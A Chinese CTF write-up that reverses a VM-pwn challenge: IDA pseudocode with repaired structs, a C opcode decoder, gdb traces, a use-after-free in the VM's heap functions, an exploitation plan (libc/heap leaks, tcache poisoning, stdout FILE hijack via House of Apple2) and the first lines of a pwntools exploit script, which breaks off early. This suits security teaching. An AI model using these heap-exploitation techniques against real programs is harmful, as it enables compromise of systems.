记一次VM-PWN痛苦经历
这是来自2025软件系统安全赛一道vm题型,由于全程只有5小时做题,在比赛期间打这个vm题眼睛都看花了,在比赛结束后总历时7小时才做完,能力还是太有限了。
VM-PWN题
这其实是一些比赛常见题型,大概就是出题人写了一个VM,允许攻击者去写opcode去执行一某些操作,一般是VM套一层heap题或者是VM本身就存在漏洞点。这个题就是VM套的一层heap,通过写opcode去执行add,delete,edite,show等操作。VM题型难点在与正确识别和运用opcode,逆向工程一般都比较大,是个体力活。
VM存在一些元素
-
opcode(虚拟机识别的操作码,成功看透就是vm题型的关键) -
reg(虚拟寄存器) -
实现opcode的解释器 -
虚拟数据段 -
虚拟栈空间
其中读懂opcode和解释器是最重要的一环,是题目的核心
题目wp
附件
评论区会补发
WP
打题全程以看ida修复结构体为主,gdb调试为辅(这些全看经验)
main函数:
void __fastcall__noreturnmain(__int64a1,char**a2,char**a3){init(a1,a2,a3);vmdata=mmap(0x64617461000LL,0x30000uLL,3,34,-1,0LL);vmcode=mmap(0x7063000,0x10000uLL,3,34,-1,0LL);mmap3=mmap(0x73746163000LL,0x20000uLL,3,34,-1,0LL)+0x10000;read_elf(&vmdata);VM(&vmdata);}
起始就是三个mmap,从其他两个附件内读取数据,以附件名可以初步识别mmap对应的意义。下面两个都是以地址传入,上面的三个地址多半是某个结构体的变量,后续看ida可以留意一下。
VM函数:
void __fastcall__noreturnVM(__int64a1){intv1;// eax_BYTE*s;// [rsp+18h] [rbp-8h]s=malloc(0xCuLL);memset(s,0,8uLL);do{ if(menu(a1,s)==-1) break; v1=*s&3; if(v1==3) { function_3(a1,s); } elseif((*s&3u)<=3) { if(v1==2) { function_2(a1,s); } elseif((*s&3)!=0) { function_1(a1,s); } else { function_0(a1,s); } } memset(s,0,0xCuLL); if(*(a1+8)<=0x7062FFFuLL) break;}while(*(a1+8)<=0x7162FFFuLL&&*(a1+64)>0x73746162FFFuLL&&*(a1+64)<=0x73746183000uLL);puts("Segment error");_exit(0);}
进入VM函数后,进入循环以(s & 3u)进入不同函数,循环结束都会初始化s一次,第一个函数(menu)那多半是影响(s & 3u)的函数,进去看一眼
...... v2=*(unsigned__int8**)(a1+8);*(_QWORD*)(a1+8)=v2+1;*a2=*v2;a2[1]=*a2&3;v3=a2[1];if(v3==3){ v9=*(unsigned__int8**)(a1+8); *(_QWORD*)(a1+8)=v9+1; *((_DWORD*)a2+1)=*v9; if((unsignedint)sub_12C9(*((unsignedint*)a2+1))) return0xFFFFFFFFLL; *((_DWORD*)a2+2)=**(_QWORD**)(a1+8); *(_QWORD*)(a1+8)+=8LL;}elseif(a2[1]<=3u) ......
进来全是地址加解引用的形式去修改数据,结合传入的地址,a1是之前3次mmap的附近的地址,仔细一看是读取的vmcode的数据,if-else语句全是对a2地址处赋值,从这里可以看出正常的开发人员肯定不是这样写代码的,只是ida识别不了结构体,需要我们手动去修复一下(经验论,多修就好了)。如下是我修复后的结果:
struct st{charb1;charb2;charb3;charb4;intint1;intint2;};voidmenu(addr*a1,st*s){char*vmcode_pos;// raxintopt;// eaxchar*v4;// raxchar*v5;// raxchar*v6;// raxchar*v7;// raxchar*v8;// raxunsigned__int8v9;// [rsp+17h] [rbp-9h]unsignedinti;// [rsp+18h] [rbp-8h]vmcode_pos=a1->vmcode_pos;a1->vmcode_pos=vmcode_pos+1; // addr++s->b1=*vmcode_pos;s->b2=s->b1&3;opt=s->b2;if(opt==3){ v8=a1->vmcode_pos; a1->vmcode_pos=v8+1; s->int1=*v8; // 取vmcode_pos当前指向的一字节 if(!shr_5(s->int1)) { s->int2=*a1->vmcode_pos; a1->vmcode_pos+=8; // vmcode_3{ // int1=char; // int2=qword; // } }}elseif(s->b2<=3u){ if(opt==2) // vmcode_2{ // int1=char; // int2=char; // } { v6=a1->vmcode_pos; a1->vmcode_pos=v6+1; s->int1=*v6; v7=a1->vmcode_pos; a1->vmcode_pos=v7+1; s->int2=*v7; if(shr_5(s->int1)) shr_5(s->int2); } elseif(s->b2) { // vmcode_1{ // int1=char; // } v5=a1->vmcode_pos; a1->vmcode_pos=v5+1; v9=*v5; if(!shr_5(*v5)) s->int1=v9; } else { for(i=0;i<=2;++i) { // 循环与运算,高字节为int1的低位,低字节位于int1的高位 s->int1<<=8; v4=a1->vmcode_pos; a1->vmcode_pos=v4+1; s->int1|=*v4; // vmcode_3{ // char1; // char2; // char3; // } } }}}
这里主要是修的a2处的结构体,修好这个函数的意义就很明显了 s->b2 = s->b1 & 3; opt = s->b2;
opcode第一个字节的低两位bit决定解析opcode的方式,三个数据解析结构已经在上述修复后的伪代码处标好了。都是以不同的解析字节长度赋值给我修复的结构体的int1或者int2。退出这个函数后也是根据opcode第一个字节低两位bit决定进入的函数。
function_3函数:
void fun_3(addr*a1,st*a2){switch(a2->b1>>2){ case1: if(a1->reg[a2->int1]<=a2->int2) a1->FLAG=a1->reg[a2->int1]<a2->int2; else a1->FLAG=2; break; case2: if(a1->reg[a2->int1]<=a2->int2) a1->FLAG=a1->reg[a2->int1]<a2->int2; else a1->FLAG=2; break; case3: a1->reg[a2->int1]=a2->int2; break; case4: a1->reg[a2->int1]^=a2->int2; break; case5: a1->reg[a2->int1]|=a2->int2; break; case6: a1->reg[a2->int1]&=a2->int2; break; case7: a1->reg[a2->int1]<<=a2->int2; break; case8: a1->reg[a2->int1]>>=a2->int2; break; case10: a1->reg[a2->int1]+=a2->int2; break; case11: a1->reg[a2->int1]-=a2->int2; break; case12: if(if_big_than_0x3000(a2->int2)) exit_0(); a1->reg[a2->int1]=a1->data[a2->int2]; break; case13: if(if_big_than_0x3000(a2->int2)) exit_0(); a1->reg[a2->int1]=*&a1->data[a2->int2]; break; case14: if(if_big_than_0x3000(a2->int2)) exit_0(); a1->reg[a2->int1]=*&a1->data[a2->int2]; break; case15: if(if_big_than_0x3000(a1->reg[a2->int1])) exit_0(); a1->data[a1->reg[a2->int1]]=a2->int2; break; case16: if(if_big_than_0x3000(a1->reg[a2->int1])) exit_0(); *&a1->data[a1->reg[a2->int1]]=a2->int2; break; case17: if(if_big_than_0x3000(a1->reg[a2->int1])) exit_0(); *&a1->data[a1->reg[a2->int1]]=a2->int2; break; case35: a1->reg[a2->int1]=*&a1->ptr[8*a2->int2+16]; break; default: return;}}
这个函数难度还是在于修复结构体,修复好后便一目了然,以opcode第一个字节的高六位bit决定我们进入的case语句。fun_3函数大致还是是对寄存器的,加值的运算对应“mov rax,0x10”,”xor rax,0x10”这种。后续几个函数直接看我附件里的ida9文件吧,后续其他function函数就是寄存器与寄存器的或者是向数据段传入数据,又或者是push,pop操作。
解题过程
执行文件发现有输出和输入,但VM内没有puts,gdb定位一下:
直接r然后ctrl+c暂停调试,finish此函数,输入字符串后就可以找到输出函数的位置:
► 0x5555555558de mov qwordptr[rbp-8],rax [0x7fffffffe308]=>9 0x5555555558e2 jmp 0x5555555559a7 <0x5555555559a7> ↓ 0x5555555559a7 mov rax,qwordptr[rbp-8] RAX,[0x7fffffffe308]=>9 0x5555555559ab leave 0x5555555559ac ret <0x555555555c55> ↓ 0x555555555c55 add rsp,0x10 RSP=>0x7fffffffe330(0x7fffffffe320+0x10) 0x555555555c59 mov rax,qwordptr[rbp-8] RAX,[0x7fffffffe338]=>0x55555555a120—▸0x64617461000◂—'Please input your opcodes:n' 0x555555555c5d add rax,0x10 RAX=>0x55555555a130(0x55555555a120+0x10) 0x555555555c61 mov dwordptr[rax],eax [0x55555555a130]=>0x5555a130 0x555555555c63 jmp 0x55555555613f <0x55555555613f> ↓ 0x55555555613f nop──────────────────────────────────────────────────────────────────────────────────────────────[STACK]───────────────────────────────────────────────────────────────────────────────────────────────00:0000│rsp0x7fffffffe2d0◂—001:0008│-0380x7fffffffe2d8◂—002:0010│-0300x7fffffffe2e0◂—0x30003:0018│-0280x7fffffffe2e8—▸0x7063226◂—'12324124n'04:0020│-0200x7fffffffe2f0◂—005:0028│-0180x7fffffffe2f8◂—006:0030│-0100x7fffffffe300—▸0x555555557229◂—endbr6407:0038│-0080x7fffffffe308◂—0x20000001b────────────────────────────────────────────────────────────────────────────────────────────[BACKTRACE]─────────────────────────────────────────────────────────────────────────────────────────────►0 0x5555555558de 1 0x555555555c55 2 0x555555556fe7 3 0x5555555572f3 4 0x7ffff7dbbd90__libc_start_call_main+128 5 0x7ffff7dbbe40__libc_start_main+128──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────pwndbg>
减去vmmap看到的基地址就可以找到偏移地址:0x0018de
拿到ida按g定位一下
进去一看就是heap函数
free有UAF那不就乱打了吗?edite和read_str函数都是通过vmdata数据段相互传数据
我们看看怎么去调用这个函数的
交叉索引后发现是在function_0函数里,这里有很多不同的传参方式:
这里的case ’3‘和case ’5‘就很简单,正好满足所有的heap函数的传参。
那最开始的vmcode,干了什么呢?
#include <stdint.h> // 为了使用uint32_t#include<stdio.h>#include<string.h>intcount=0;intmenu(char*a1){ char*p; intoff; count++; charb2; intint1=0; longlongint2=0; b2=a1[0]&3;if(b2==3){ int1=a1[1]; // 取vmcode_pos当前指向的一字节 if(int1>>5) return-1; p=&a1[2]; int2=*(unsignedlonglong*)p; // vmcode_3{ // char; // qword; // } printf("%.2d : fun_3 -> case : 0x%x (%x,%lx)n",count,a1[0]>>2,int1,int2); off=10;}elseif(b2<=3){ if(b2==2) // vmcode_2{ // char; // char; // } { int1=a1[1]; int2=a1[2]; printf("%.2d : fun_2 -> case : 0x%x (%x)nn",count,(a1[0]&0xff)>>2,int1,int2); off=3; } elseif(b2) { // vmcode_1{ // char; // } int1=a1[1]; printf("%.2d : fun_1 -> case : 0x%x (%x)n",count,(a1[0]&0xff)>>2,int1); off=2; } else { for(inti=0;i<=2;++i) { // 循环与运算 int1<<=8; int1|=a1[1+i]; } printf("%.2d : fun_0 -> case : '%c' (%x)n",count,(a1[0]&0xff)>>2,int1); off=4; }}returnoff;}intmain(){ charvmcode[]={0x0F,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0F,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0F,0x02,0x1B,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xD4,0x00,0x00,0x01,0xC0,0x00,0x00,0x00,0x81,0x00,0x81,0x01,0x2B,0x01,0x00,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x12,0x00,0x00,0x0F,0x02,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xCC,0x00,0x00,0x00,0xA5,0x01}; intoff=0; for(inti=0;i<12;i++) { off+=menu(vmcode+off); } return0;}
运行结果:
01 :fun_3->case:0x3(0,1)02:fun_3->case:0x3(1,0)03:fun_3->case:0x3(2,1b)04:fun_0->case:'5'(1)05:fun_0->case:'0'(0)06:fun_1->case:0x20(0)07:fun_1->case:0x20(1)08:fun_3->case:0xa(1,200)09:fun_2->case:0x4(0)10:fun_3->case:0x3(2,300)11:fun_0->case:'3'(0)12:fun_1->case:0x29(1)
也没什么,调试到最后一步时fun_1后就开始执行我们输入的opcode了。前面只不过是调用到heap函数内部的write和read罢了。
打题思路:
-
free大chunk去拿libc -
free两个chunk进tcachbin -
利用UAF拿heap -
利用UAF修改tcachbin的fd去劫持_IO_2_1_stdout_结构体打apple2(因为hook在2.35版本下已经没有了,加上exit是系统调用而不是libc的exit所以只能打这题仅存的io函数puts)
EXP
#!/usr/bin/python3# -*- encoding: utf-8 -*-frompwnimport*#context(os = 'linux', arch = 'amd64', log_level = 'debug')# context(os = 'linux', arch = 'amd64', log_level = 'debug')#context.terminal = ['tmux', 'splitw', '-h']b_case3=0x000000000002A93b_menu1=0x0000000000002FB5b_menu2=0x0000000000003099b_fun0=0x0000000000019ADb_fun3=0x000000000002A49b_heap=0x000000000001837file_name='./vm'b_string="b _IO_wdoallocbufn"b_slice=[]pie=1foriinb_slice: iftype(i)==intandpie: b_string+=f"b *$rebase({i})n" eliftype(i)==int: b_string+=f"b *{hex(i)}n" else: iftype(i)==str: b_string+=f"b *"+i+f"n"#1 => attach#2 => debug#3 => remotechoice=1ifchoice==1: p=process(file_name) gdb.attach(p,b_string) print(f"Break_point:n"+b_string)elifchoice==2: p=gdb.debug(file_name,b_string) print(f"Break_point:n"+b_string)elifchoice==3: ip_add="nc1.ctfplus.cn" port=39169 print("[==^==] remote : "+ip_add+str(port)) p=remote(ip_add,port)#-----------------------------------------------------------------------------------------rv=lambdax :p.recv(x)rl=lambdaa=False :p.recvline(a)ru=lambdaa,b=True :p.recvuntil(a,b)rn=lambdax :p.recvn(x)sd=lambdax :p.send(x)sl=lambdax :p.sendline(x)sa=lambdaa,b :p.sendafter(a,b)sla=lambdaa,b :p.sendlineafter(a,b)#u32 = lambda : u32(p.recv(4).ljust(4,b'x00'))#u64 = lambda : u64(p.recv(6).ljust(8,b'x00'))inter=lambda :p.interactive()debug=lambdatext=None:gdb.attach(p,text)lg=lambdas,addr :log.info('
评论